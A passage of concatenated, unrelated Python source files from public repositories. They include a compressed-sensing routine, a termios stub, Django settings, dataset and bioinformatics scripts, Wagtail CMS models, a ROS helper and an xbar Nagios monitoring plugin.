range(N): upper = np.sum([tau_p[p] for p in range(1, P) if p not in S[p]]) U[n] = (w[0, n] + np.sum(w[p, n] for p in S[n]))**2 + upper * shita F = (U > tau) * (m < (P-1)) candidate = np.where(F)[0] for n in candidate: communication_cost += 1 broadcast_others(n) #STEP3 F_R = F * np.logical_not(R) for p in range(1, P): #print("p: {}".format(p)) candidate = np.where(F_R[p])[0] for n in candidate: communication_cost += 1 send_to1(n ,w[p, n]) if log: print("Rp: {} \t F: {} \t F\\Rp: {}".format(np.sum(R), np.sum(F), np.sum(F_R)-np.sum(F))) print("Total Communication Cost: {}".format(communication_cost)) print("="*50) #STEP4 s = np.zeros((N, 1)) V = np.where(U > tau)[0].tolist() for n in V: w_sum = np.sum(w[:, n]) s[n] = soft_threshold(w_sum, tau**0.5) return s.real, communication_cost def send_to1(n, w): #print("n: {}, w: {}".format(n, w)) pass def broadcast_others(n): #print("n: {}".format(n)) pass def GCOAMP(w, tau_p, log=False): shita = 0.7 tau = np.sum(tau_p) communication_cost = 0 P, N, _ = w.shape R = np.zeros((P, N, 1)) z = [0] * N #STEP1 for p in range(1, P): R[p] = np.square(w[p]) > tau_p[p] * shita candidate = np.where(R[p])[0] for n in candidate: communication_cost += 1 send_to1(n, w[p, n]) #STEP2 S = [np.where(R[:, n])[0] for n in range(N)] m = np.sum(R, axis=0) U = np.empty((N, 1)) for n in range(N): upper = np.sum([tau_p[p] for p in range(1, P) if p not in S[p]]) z[n] = w[0, n] + np.sum([w[p, n] for p in S[n]]) U[n] = z[n]**2 + upper * shita F = (U > tau) * (m < (P-1)) candidate = np.where(F)[0] for n in candidate: communication_cost += 1 broadcast_others(n) #STEP3 F_R = F * np.logical_not(R) for p in range(1, P): #print("p: {}".format(p)) candidate = np.where(F_R[p])[0] for n in candidate: communication_cost += 1 send_to1(n ,w[p, n]) if log: print("Rp: {} \t F: {} \t F\\Rp: {}".format(np.sum(R), np.sum(F), np.sum(F_R)-np.sum(F))) print("Total Communication Cost: {}".format(communication_cost)) print("="*50) #STEP4 u = np.zeros((N, 1)) b = np.zeros((N, 1)) V = np.where(U > tau)[0].tolist() for n in V: b[n] = np.sum(w[:, n]) u[n] = soft_threshold(b[n], tau**0.5) #STEP5 #if approx: rand = beta * truncnorm.rvs(-1, 1, loc=0, scale=1, size=N-K) #else : rand = Rrandom(u, beta, K)#(tau - tau_p[0])**0.5 * truncnorm.rvs(-1, 1, loc=0, scale=1, size=N-K) Vc = [n for n in range(N) if n not in V] for n in Vc: b[n] = z[n] b[n] += np.sum([rand(shita * tau_p[p]) for p in range(1, P) if p not in S[n]]) s = u - np.mean(u != 0)*b return s.real, communication_cost def rand(tau): return tau**0.5 * truncnorm.rvs(-1, 1, loc=0, scale=1, size=1) def Rrandom(u, t, K): N = u.shape[0] u0 = np.histogram(u, bins=N) Pu = u0[0]/N Pu = np.append(Pu, 0) u1 = u0[1] phi = lambda x: norm.pdf((x-u1)/t)/t maxu = np.argmax(Pu) phi_x = phi(u1[maxu]) max = np.max(np.sum(Pu * phi_x)) rand = np.empty(N-K) for i in range(N-K): while True: x, y = np.random.rand(2) a = -t + 2*t*x phi_a = phi(a) A = np.sum(Pu * phi_a) if max*y <= A: rand[i] = a break return rand
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pyy1/.pycharm_helpers/python_stubs/-1550516950/termios.py
pyy1988/pyy_test1
0
173255
<reponame>pyy1988/pyy_test1 # encoding: utf-8 # module termios # from /usr/lib/python3.5/lib-dynload/termios.cpython-35m-x86_64-linux-gnu.so # by generator 1.145 """ This module provides an interface to the Posix calls for tty I/O control. For a complete description of these calls, see the Posix or Unix manual pages. It is only available for those Unix versions that support Posix termios style tty I/O control. All functions in this module take a file descriptor fd as their first argument. This can be an integer file descriptor, such as returned by sys.stdin.fileno(), or a file object, such as sys.stdin itself. """ # no imports # Variables with simple values B0 = 0 B1000000 = 4104 B110 = 3 B115200 = 4098 B1152000 = 4105 B1200 = 9 B134 = 4 B150 = 5 B1500000 = 4106 B1800 = 10 B19200 = 14 B200 = 6 B2000000 = 4107 B230400 = 4099 B2400 = 11 B2500000 = 4108 B300 = 7 B3000000 = 4109 B3500000 = 4110 B38400 = 15 B4000000 = 4111 B460800 = 4100 B4800 = 12 B50 = 1 B500000 = 4101 B57600 = 4097 B576000 = 4102 B600 = 8 B75 = 2 B921600 = 4103 B9600 = 13 BRKINT = 2 BS0 = 0 BS1 = 8192 BSDLY = 8192 CBAUD = 4111 CBAUDEX = 4096 CDSUSP = 25 CEOF = 4 CEOL = 0 CEOT = 4 CERASE = 127 CFLUSH = 15 CIBAUD = 269418496 CINTR = 3 CKILL = 21 CLNEXT = 22 CLOCAL = 2048 CQUIT = 28 CR0 = 0 CR1 = 512 CR2 = 1024 CR3 = 1536 CRDLY = 1536 CREAD = 128 CRPRNT = 18 CRTSCTS = 2147483648 CS5 = 0 CS6 = 16 CS7 = 32 CS8 = 48 CSIZE = 48 CSTART = 17 CSTOP = 19 CSTOPB = 64 CSUSP = 26 CWERASE = 23 ECHO = 8 ECHOCTL = 512 ECHOE = 16 ECHOK = 32 ECHOKE = 2048 ECHONL = 64 ECHOPRT = 1024 EXTA = 14 EXTB = 15 FF0 = 0 FF1 = 32768 FFDLY = 32768 FIOASYNC = 21586 FIOCLEX = 21585 FIONBIO = 21537 FIONCLEX = 21584 FIONREAD = 21531 FLUSHO = 4096 HUPCL = 1024 ICANON = 2 ICRNL = 256 IEXTEN = 32768 IGNBRK = 1 IGNCR = 128 IGNPAR = 4 IMAXBEL = 8192 INLCR = 64 INPCK = 16 IOCSIZE_MASK = 1073676288 IOCSIZE_SHIFT = 16 ISIG = 1 ISTRIP = 32 IUCLC = 512 IXANY = 2048 IXOFF = 4096 IXON = 1024 NCC = 8 NCCS = 32 NL0 = 0 NL1 = 256 NLDLY = 256 NOFLSH = 128 N_MOUSE = 2 N_PPP = 3 N_SLIP = 1 N_STRIP = 4 N_TTY = 0 OCRNL = 8 OFDEL = 128 OFILL = 64 OLCUC = 2 ONLCR = 4 ONLRET = 32 ONOCR = 16 OPOST = 1 PARENB = 256 PARMRK = 8 PARODD = 512 PENDIN = 16384 TAB0 = 0 TAB1 = 2048 TAB2 = 4096 TAB3 = 6144 TABDLY = 6144 TCFLSH = 21515 TCGETA = 21509 TCGETS = 21505 TCIFLUSH = 0 TCIOFF = 2 TCIOFLUSH = 2 TCION = 3 TCOFLUSH = 1 TCOOFF = 0 TCOON = 1 TCSADRAIN = 1 TCSAFLUSH = 2 TCSANOW = 0 TCSBRK = 21513 TCSBRKP = 21541 TCSETA = 21510 TCSETAF = 21512 TCSETAW = 21511 TCSETS = 21506 TCSETSF = 21508 TCSETSW = 21507 TCXONC = 21514 TIOCCONS = 21533 TIOCEXCL = 21516 TIOCGETD = 21540 TIOCGICOUNT = 21597 TIOCGLCKTRMIOS = 21590 TIOCGPGRP = 21519 TIOCGSERIAL = 21534 TIOCGSOFTCAR = 21529 TIOCGWINSZ = 21523 TIOCINQ = 21531 TIOCLINUX = 21532 TIOCMBIC = 21527 TIOCMBIS = 21526 TIOCMGET = 21525 TIOCMIWAIT = 21596 TIOCMSET = 21528 TIOCM_CAR = 64 TIOCM_CD = 64 TIOCM_CTS = 32 TIOCM_DSR = 256 TIOCM_DTR = 2 TIOCM_LE = 1 TIOCM_RI = 128 TIOCM_RNG = 128 TIOCM_RTS = 4 TIOCM_SR = 16 TIOCM_ST = 8 TIOCNOTTY = 21538 TIOCNXCL = 21517 TIOCOUTQ = 21521 TIOCPKT = 21536 TIOCPKT_DATA = 0 TIOCPKT_DOSTOP = 32 TIOCPKT_FLUSHREAD = 1 TIOCPKT_FLUSHWRITE = 2 TIOCPKT_NOSTOP = 16 TIOCPKT_START = 8 TIOCPKT_STOP = 4 TIOCSCTTY = 21518 TIOCSERCONFIG = 21587 TIOCSERGETLSR = 21593 TIOCSERGETMULTI = 21594 TIOCSERGSTRUCT = 21592 TIOCSERGWILD = 21588 TIOCSERSETMULTI = 21595 TIOCSERSWILD = 21589 TIOCSER_TEMT = 1 TIOCSETD = 21539 TIOCSLCKTRMIOS = 21591 TIOCSPGRP = 21520 TIOCSSERIAL = 21535 TIOCSSOFTCAR = 21530 TIOCSTI = 21522 TIOCSWINSZ = 21524 TOSTOP = 256 VDISCARD = 13 VEOF = 4 VEOL = 11 VEOL2 = 16 VERASE = 2 VINTR = 0 VKILL = 3 VLNEXT = 15 VMIN = 6 VQUIT = 1 VREPRINT = 12 VSTART = 8 VSTOP = 9 VSUSP = 10 VSWTC = 7 VSWTCH = 7 VT0 = 0 VT1 = 16384 VTDLY = 16384 VTIME = 5 VWERASE = 14 XCASE = 4 XTABS = 6144 # functions def tcdrain(fd): # real signature unknown; restored from __doc__ """ tcdrain(fd) -> None Wait until all output written to file descriptor fd has been transmitted. """ pass def tcflow(fd, action): # real signature unknown; restored from __doc__ """ tcflow(fd, action) -> None Suspend or resume input or output on file descriptor fd. The action argument can be termios.TCOOFF to suspend output, termios.TCOON to restart output, termios.TCIOFF to suspend input, or termios.TCION to restart input. """ pass def tcflush(fd, queue): # real signature unknown; restored from __doc__ """ tcflush(fd, queue) -> None Discard queued data on file descriptor fd. The queue selector specifies which queue: termios.TCIFLUSH for the input queue, termios.TCOFLUSH for the output queue, or termios.TCIOFLUSH for both queues. """ pass def tcgetattr(fd): # real signature unknown; restored from __doc__ """ tcgetattr(fd) -> list_of_attrs Get the tty attributes for file descriptor fd, as follows: [iflag, oflag, cflag, lflag, ispeed, ospeed, cc] where cc is a list of the tty special characters (each a string of length 1, except the items with indices VMIN and VTIME, which are integers when these fields are defined). The interpretation of the flags and the speeds as well as the indexing in the cc array must be done using the symbolic constants defined in this module. """ pass def tcsendbreak(fd, duration): # real signature unknown; restored from __doc__ """ tcsendbreak(fd, duration) -> None Send a break on file descriptor fd. A zero duration sends a break for 0.25-0.5 seconds; a nonzero duration has a system dependent meaning. """ pass def tcsetattr(fd, when, attributes): # real signature unknown; restored from __doc__ """ tcsetattr(fd, when, attributes) -> None Set the tty attributes for file descriptor fd. The attributes to be set are taken from the attributes argument, which is a list like the one returned by tcgetattr(). The when argument determines when the attributes are changed: termios.TCSANOW to change immediately, termios.TCSADRAIN to change after transmitting all queued output, or termios.TCSAFLUSH to change after transmitting all queued output and discarding all queued input. """ pass # classes class error(Exception): # no doc def __init__(self, *args, **kwargs): # real signature unknown pass __weakref__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default """list of weak references to the object (if defined)""" # variables with complex values __loader__ = None # (!) real value is '' __spec__ = None # (!) real value is ''
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praeteritum/settings.py
NoMariusz/Praeteritum
3
107020
<gh_stars>1-10 """ Django settings for praeteritum project. Generated by 'django-admin startproject' using Django 3.1.5. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ import os from pathlib import Path from dotenv import load_dotenv # Load environment variables dotenv_path = os.path.join(os.path.dirname(__file__), "../", '.env') load_dotenv(dotenv_path) # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = os.environ['SECRET_KEY'] # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ["*", "127.0.0.1"] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'frontend.apps.FrontendConfig', 'authentication.apps.AuthenticationConfig', 'cards.apps.CardsConfig', 'playerdata.apps.PlayerdataConfig', 'match.apps.MatchConfig', 'rest_framework', 'channels' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'whitenoise.middleware.WhiteNoiseMiddleware', ] ROOT_URLCONF = 'praeteritum.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] ASGI_APPLICATION = 'praeteritum.asgi.application' CHANNEL_LAYERS = { 'dev': { 'BACKEND': 'channels_redis.core.RedisChannelLayer', 'CONFIG': { "hosts": [('127.0.0.1', 6379)], }, }, 'main': { 'BACKEND': 'channels_redis.core.RedisChannelLayer', 'CONFIG': { "hosts": [os.environ['MAIN_REDIS_CONNECT_STRING']], }, }, } DEFAULT_CHANNEL_LAYER = os.environ.get('DJANGO_CHANNEL_LAYER', 'dev') CHANNEL_LAYERS['default'] = CHANNEL_LAYERS[DEFAULT_CHANNEL_LAYER] # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'dev': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', }, 'main': { 'ENGINE': 'django.db.backends.postgresql', 'NAME': os.environ['MAIN_DB_NAME'], 'USER': os.environ['MAIN_DB_USER'], 'PASSWORD': os.environ['MAIN_DB_PASSWORD'], 'HOST': os.environ['MAIN_DB_HOST'], 'PORT': os.environ['MAIN_DB_PORT'], } } DEFAULT_DATABASE = os.environ.get('DJANGO_DATABASE', 'dev') DATABASES['default'] = DATABASES[DEFAULT_DATABASE] DEFAULT_AUTO_FIELD = 'django.db.models.AutoField' # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.' + 'UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.' + 'MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.' + 'CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.' + 'NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles') # Extra places for collectstatic to find static files. STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'frontend/static'), ) STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage' # Custom project configurations LOGIN_URL = '/login/'
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scripts/dataset_status.py
neurodata/boss-export
0
184481
#%% import asyncio from datetime import datetime import aiofiles import aiohttp import pandas as pd OPEN_DATA_BUCKET_URL = "https://open-neurodata.s3.amazonaws.com" #%% def return_url_dataset(coll, exp, ch): return f"{OPEN_DATA_BUCKET_URL}/{coll}/{exp}/{ch}/info" #%% # read the data df = pd.read_csv("scripts/public_datasets_downsample.csv", na_filter=False) # removing empty/dev channels in boss df = df[(df["ch"] != "empty") & (df["ch"] != "dev")] # %% df["url"] = df.apply( lambda x: return_url_dataset(x["coll"], x["exp"], x["ch"]), axis=1 ) # %% outfname = "scripts/datasets_status_async.csv" header = df.to_csv(header=None) with open(outfname, mode='w') as f: f.write(",".join(df.columns.to_list()) + ",status_code" + "\n") async with aiohttp.ClientSession() as session: async with aiofiles.open(outfname, mode='a') as f: for _, dataset in df.iterrows(): async with session.get(dataset["url"]) as resp: await resp.text() data = ",".join(map(str, dataset.to_list())) + "," + str(resp.status) + "\n" await f.write(data) #%% df_to_do = pd.read_csv(outfname, na_filter=False) # we transferred these into a different prefix df_to_do.loc[(df_to_do["coll"] == "bock") | (df_to_do["exp"] == "kasthuri14s1colANNO"), "status_code"] = 200 df_to_do = df_to_do[df_to_do["status_code"] != 200] # %% df_to_do.to_csv("scripts/public_data_sets_to_tx.csv", index=False) print("done")
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team1/sca_test.py
NCBI-Codeathons/RAPID-EVALUATION-OF-STATISTICAL-STRATEGIES-FOR-PREDICTING-INTERACTIONS-AND-INFORMATION-TRANSFER-BETW
0
53858
#!/bin/python #sca_test.py import matplotlib.pyplot as plt import coevo2 as ce import itertools as it import numpy as np import copy import time reload(ce) names = ['glgA', 'glgC', 'cydA', 'cydB'] algPath = 'TestSet/eggNOG_aligns/slice_0.9/' prots = ce.prots_from_scratch(names,path2alg=algPath) ps = ce.ProtSet(prots,names) phylo_names = ['aspS','ffh','lepA','pgk','recN','rho','rpoA','ruvB','tig','uvrB'] phylo_prots = ce.prots_from_scratch(phylo_names,path2alg='TestSet/eggNOG_aligns/phylogenes/') phylo2 = ce.PhyloSet(phylo_prots) phylo2.set_indexer(thresh=7) for pt in phylo2.prots: # temporary fix for duplicated locus ids in the same msa pt.msa = pt.msa[~pt.msa.index.duplicated(keep='first')] phylo2.set_sim_mat() protsmats,pairmats,pairrandmats,sca_score,sca_score2 = ce.sca(ps,phylo2,delta=0.0001) for pt,sca in it.izip(ps.prots,protsmats): pt.sca_mat = sca for pair,sca_cat in it.izip(ps.pairs,pairmats): pair.sca_mat = sca_cat np.save('GettingStartedSCACalcs.npy',ps) print(sca_score2)
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plato_pylib/parseOther/__init__.py
RFogarty1/plato_pylib
0
63814
from . import parse_castep_files
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custom_config.py
prise-3d/Thesis-NoiseDetection-rfe-attributes
0
25717
<gh_stars>0 from modules.config.attributes_config import * # store all variables from global config context_vars = vars() # folders logs_folder = 'logs' backup_folder = 'backups' ## min_max_custom_folder = 'custom_norm' ## correlation_indices_folder = 'corr_indices' # variables features_choices_labels = ['filters_statistics', 'svd', 'filters_statistics_sobel', 'svd_sobel'] models_names_list = ["rfe_svm_model"] ## models_names_list = ["svm_model","ensemble_model","ensemble_model_v2","deep_keras"] ## normalization_choices = ['svd', 'svdn', 'svdne'] # parameters
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lib/dataset/lpw.py
Xiangyu-CAS/Yet-Another-reid-baseline
33
94345
# encoding: utf-8 import glob import re import os import os.path as osp from .base import BaseImageDataset class LPW(BaseImageDataset): """ """ dataset_dir = 'LPW/' def __init__(self, root='', verbose=True, **kwargs): super(LPW, self).__init__() self.dataset_dir = osp.join(root, self.dataset_dir) self.train_dir = self.dataset_dir self._check_before_run() train = self._process_dir(self.train_dir, relabel=True) if verbose: print("=> LPW loaded") #self.print_dataset_statistics(train, query, gallery) self.train = train self.query = [] self.gallery = [] self.num_train_pids, self.num_train_imgs, self.num_train_cams = self.get_imagedata_info(self.train) self.num_query_pids, self.num_query_imgs, self.num_query_cams = self.get_imagedata_info(self.query) self.num_gallery_pids, self.num_gallery_imgs, self.num_gallery_cams = self.get_imagedata_info(self.gallery) def _check_before_run(self): """Check if all files are available before going deeper""" if not osp.exists(self.dataset_dir): raise RuntimeError("'{}' is not available".format(self.dataset_dir)) if not osp.exists(self.train_dir): raise RuntimeError("'{}' is not available".format(self.train_dir)) def _find_files(self, dir_path, img_paths, suffix='.jpg'): files = os.listdir(dir_path) for f in files: path = osp.join(dir_path, f) if os.path.isdir(path): self._find_files(path, img_paths, suffix) elif suffix in f: img_paths.append(path) # element: (img_path, pid, camid) def _process_dir(self, dir_path, relabel=True): img_paths = [] self._find_files(dir_path, img_paths, suffix='.jpg') label_dict = {} bias = 10000 for img_path in img_paths: splits = img_path.split('/') scene, camid, pid, _ = splits[-4:] scene, camid, pid = int(scene[-1]), int(camid[-1]), int(pid) # 'scen1', 'view1', pid += scene * bias if pid in label_dict: label_dict[pid].append([camid, img_path]) else: label_dict[pid] = [[camid, img_path]] pid2label = {pid: label for label, pid in enumerate(label_dict.keys())} dataset = [] for pid in label_dict: for camid, img_path in label_dict[pid]: if relabel: new_pid = pid2label[pid] dataset.append((img_path, new_pid, camid)) return dataset if __name__ == '__main__': dataset = LPW(root='/media/xiangyuzhu/SSD_sda2/Downloads/pep_256x128')
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cms/publications/models.py
dragon-dxw/nhs-ei.website
0
50173
<reponame>dragon-dxw/nhs-ei.website from urllib.parse import urlparse from cms.categories.models import Category, PublicationType, CategoryPage from cms.publications.blocks import PublicationsBlocks from django.core.paginator import EmptyPage, PageNotAnInteger, Paginator from django.db import models from django.db.models.fields.related import ForeignKey from modelcluster.fields import ParentalKey from wagtail.admin.edit_handlers import ( FieldPanel, InlinePanel, MultiFieldPanel, StreamFieldPanel, ) from wagtail.core.fields import RichTextField, StreamField from wagtail.core.models import Page class PublicationIndexPage(Page): # title already in the Page class # slug already in the Page class subpage_types = ["publications.Publication"] body = RichTextField(blank=True) content_panels = Page.content_panels + [ FieldPanel("body"), ] class Meta: verbose_name = "Publications Index Page" verbose_name_plural = "Publications Index Pages" def get_latest_publications(num): return Publication.objects.all().order_by("-latest_revision_created_at")[:num] def get_context(self, request, *args, **kwargs): """ Publications can have one or more categories (topics) or publications (publication_type). At the moment, you can only choose one or the other. I think that's best to avoid lots of empty result sets but we will need a decision made on that. TODO. """ context = super().get_context(request, *args, **kwargs) publication_ordering = request.GET.get("order") or "-latest_revision_created_at" if request.GET.get("publication_type"): context["publication_type_id"] = int(request.GET.get("publication_type")) publications = ( Publication.objects.live() .order_by(publication_ordering) .filter( publication_publication_type_relationship__publication_type=request.GET.get( "publication_type" ) ) ) # NOTE: filtering by category was commented out but I want see if it works -- Dragon. elif request.GET.get("category"): context["category_id"] = int(request.GET.get("category")) publications = ( Publication.objects.live() .order_by(publication_ordering) .filter( categorypage_category_relationship__category=request.GET.get( "category" ) ) ) # NOTE: end block for previous note -- Dragon. else: publications = Publication.objects.live().order_by(publication_ordering) paginator = Paginator(publications, 16) try: items = paginator.page(request.GET.get("page")) except PageNotAnInteger: items = paginator.page(1) except EmptyPage: items = paginator.page(paginator.num_pages) context["publications"] = items context["publication_types"] = PublicationType.objects.all() # categories isn't exposed on the webpage at all, and contains a lot of empty categories. context["categories"] = Category.objects.all() context["order"] = publication_ordering return context def get_wp_api_link(self): # TODO: Pretty sure this is a debug feature that should be removed. return f"https://www.england.nhs.uk/wp-json/wp/v2/documents/{self.wp_id}" def get_wp_live_link(self): # TODO: Pretty sure this is a debug feature that should be removed. self_url_path = self.url live_url_path = urlparse(self.wp_link).path live_url = "https://www.england.nhs.uk{}".format(live_url_path) print(self_url_path) print(live_url_path) return live_url class PublicationPublicationTypeRelationship(models.Model): publication = ParentalKey( "publications.Publication", related_name="publication_publication_type_relationship", ) publication_type = ForeignKey( "categories.PublicationType", related_name="+", on_delete=models.CASCADE, ) class Publication(CategoryPage): parent_page_types = ["publications.PublicationIndexPage"] """ title already in the Page class slug already in the Page class going to need to parse the html here to extract the text """ # going to need to parse the html here to extract the text body = RichTextField(blank=True) documents = StreamField(PublicationsBlocks, blank=True) """ coming across form wordpress need to keep for now""" wp_id = models.PositiveIntegerField(null=True, blank=True) source = models.CharField(null=True, max_length=100, blank=True) wp_slug = models.TextField(null=True, blank=True) wp_link = models.TextField(null=True, blank=True) component_fields = models.TextField(null=True, blank=True) """i think we can do away with this field and use the text from body to create the exceprt""" # excerpt = RichTextField(blank=True) author = models.CharField(max_length=255, blank=True) content_panels = Page.content_panels + [ InlinePanel( "publication_publication_type_relationship", label="Publication Types" ), InlinePanel( "categorypage_category_relationship", label="Publication Categories" ), FieldPanel("body"), StreamFieldPanel("documents"), MultiFieldPanel( [ FieldPanel("wp_id"), FieldPanel("author"), FieldPanel("source"), FieldPanel("wp_slug"), FieldPanel("wp_link"), FieldPanel("component_fields"), ], heading="wordpress data we dont need in the end", classname="collapsed collapsible", ), ] def get_wp_api_link(self): wp_source = self.source.replace("pages-", "") wp_id = self.wp_id if wp_source != "pages": api_url = "https://www.england.nhs.uk/{}/wp-json/wp/v2/documents/{}".format( wp_source, wp_id ) else: api_url = "https://www.england.nhs.uk/wp-json/wp/v2/documents/{}".format( wp_id ) return api_url def get_wp_live_link(self): self_url_path = self.url live_url_path = urlparse(self.wp_link).path live_url = "https://www.england.nhs.uk{}".format(live_url_path) print(self_url_path) print(live_url_path) return live_url
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examples/doctest_example.py
pynickle/python-cheatsheet-redefined
11
135178
""" file for doctest """ import math def factorial(n): result = 1 factor = 2 while factor <= n: result *= factor factor += 1 return result
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stickmanZ/__main__.py
MichaelMcFarland98/cse210-project
1
2130
<filename>stickmanZ/__main__.py from game.game_view import GameView from game.menu_view import menu_view from game import constants import arcade SCREEN_WIDTH = constants.SCREEN_WIDTH SCREEN_HEIGHT = constants.SCREEN_HEIGHT SCREEN_TITLE = constants.SCREEN_TITLE window = arcade.Window(SCREEN_WIDTH, SCREEN_HEIGHT, SCREEN_TITLE) start_view = menu_view() window.show_view(start_view) arcade.run()
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src/pyams_scheduler/zmi/interfaces.py
Py-AMS/pyams-scheduler
0
87663
# # Copyright (c) 2015-2021 <NAME> <tflorac AT ulthar.net> # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # """PyAMS_*** module """ __docformat__ = 'restructuredtext' from pyams_form.interfaces import DISPLAY_MODE, INPUT_MODE from pyams_form.interfaces.form import IForm from pyams_form.interfaces.widget import IWidget from pyams_form.template import widget_template_config from pyams_layer.interfaces import IPyAMSLayer @widget_template_config(mode=INPUT_MODE, template='templates/directory-host-input.pt', layer=IPyAMSLayer) @widget_template_config(mode=DISPLAY_MODE, template='templates/directory-host-display.pt', layer=IPyAMSLayer) class IDirectoryHandlerHostWidget(IWidget): """Directory handler host widget interface""" class ITaskForm(IForm): """Base task form interface"""
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src/ros_deep_vision/umass_util.py
goolygu/ros-deep-vision
9
58691
from perception_msgs.msg import State from geometry_msgs.msg import Point, Pose def to_state_pose_msg_list(value_dict, filter_xyz_dict): state_list = [] pose_list = [] for sig in value_dict: state = State() state.type = 'cnn' state.name = str(sig) state.value = value_dict[sig] state_list.append(state) pose = Pose() if not state.value == 0: pose.position.x = filter_xyz_dict[sig][0] pose.position.y = filter_xyz_dict[sig][1] pose.position.z = filter_xyz_dict[sig][2] pose.orientation.x = 0 pose.orientation.y = 0 pose.orientation.z = 0 pose.orientation.w = 1 pose_list.append(pose) return state_list, pose_list
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nagios.15s.py
zessx/xbar-nagios
0
184464
<reponame>zessx/xbar-nagios<filename>nagios.15s.py #! /usr/bin/env PYTHONIOENCODING=utf8 PYTHONUNBUFFERED=1 /usr/local/bin/python3 # <xbar.title>Nagios</xbar.title> # <xbar.version>1.0</xbar.version> # <xbar.author><NAME></xbar.author> # <xbar.author.github>zessx</xbar.author.github> # <xbar.desc>Monitor Nagios instance.</xbar.desc> # <xbar.dependencies>python</xbar.dependencies> # <xbar.abouturl>https://github.com/zessx/xbar-nagios</xbar.abouturl> # <xbar.var>string(NAGIOS_HOST='https://nagios.example.com'): Nagios host.</xbar.var> # <xbar.var>string(NAGIOS_USERNAME=''): Nagios username.</xbar.var> # <xbar.var>string(NAGIOS_PASSWORD=''): Nagios password.</xbar.var> import re import requests import os NAGIOS_HOST = os.environ.get('NAGIOS_HOST', False) NAGIOS_USERNAME = os.environ.get('NAGIOS_USERNAME', False) NAGIOS_PASSWORD = os.environ.get('NAGIOS_PASSWORD', False) if not NAGIOS_HOST or not NAGIOS_USERNAME or not NAGIOS_PASSWORD: print("Nagios: config error | color=purple") else: try: data = str(requests.get("%s/cgi-bin/nagios3/tac.cgi" % NAGIOS_HOST, auth=(NAGIOS_USERNAME, NAGIOS_PASSWORD), timeout=1).content) critical = int(re.search('>(\d+)\sCritical<', data, re.MULTILINE)[1]) warning = int(re.search('>(\d+)\sWarning<', data, re.MULTILINE)[1]) unknown = int(re.search('>(\d+)\sUnknown<', data, re.MULTILINE)[1]) ok = int(re.search('>(\d+)\sOk<', data, re.MULTILINE)[1]) services = ok + warning + unknown + critical color = 'green' if critical > 0: color = 'red' elif warning > 0 or unknown > 0: color = 'yellow' output = "%u Ok" % ok if services != ok: first = True if critical > 0: output = "{} Cri.".format(critical) first = False if warning > 0: output = ('' if first else output + ' / ') + "{} War.".format(warning) first = False if unknown > 0: output = ('' if first else output + ' / ') + "{} Unk.".format(unknown) print("Nagios: {} | color={}".format(output, color)) print("---") print('⚡️ Refresh now | font=Menlo | refresh=true') print("⚠️ Show problems | font=Menlo | href={}/cgi-bin/nagios3/status.cgi?host=all&servicestatustypes=28".format(NAGIOS_HOST)) print("🔎 Show all services | font=Menlo | href={}/cgi-bin/nagios3/status.cgi?host=all".format(NAGIOS_HOST)) except requests.exceptions.ConnectionError: print("Nagios: host unreachable | color=purple") except Exception as err: print("Nagios: {} | color=purple".format(err))
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lightautoml/transformers/numeric.py
Cybsloth/LightAutoML
2
1613482
